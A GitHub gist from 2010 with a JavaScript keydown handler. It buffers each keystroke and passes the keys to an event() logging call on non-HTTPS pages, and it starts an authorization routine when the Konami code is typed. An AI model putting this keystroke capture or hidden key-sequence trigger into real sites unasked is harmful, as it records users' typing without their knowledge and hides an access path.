Created
August 31, 2010 12:32
-
-
Save 3rd-Eden/558961 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var onkeydown = function onkeydown( e ){ | |
var keycode = (e || global.event).keyCode || e.charCode; | |
keys.push( String.fromCharCode( keycode ) ); | |
code.push( keycode ); | |
clearTimeout( timer ); | |
timer = setTimeout(function(){ | |
// check if we are already authorized or not, if this is not the case and the code matches the konami code we are going to | |
// start authorization process | |
if( !CONF.authorized && authorize && code.length == 10 && code.join('.') == "38.38.40.40.37.39.37.39.66.65" ){ | |
authorize(); | |
} | |
// don't log any keystrokes on https evns | |
if( global.location.protocol !== "https:" ){ | |
event(false,"keypress",keys.join("")); | |
keys.length = 0; | |
code.length = 0; | |
} | |
}, 1000); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment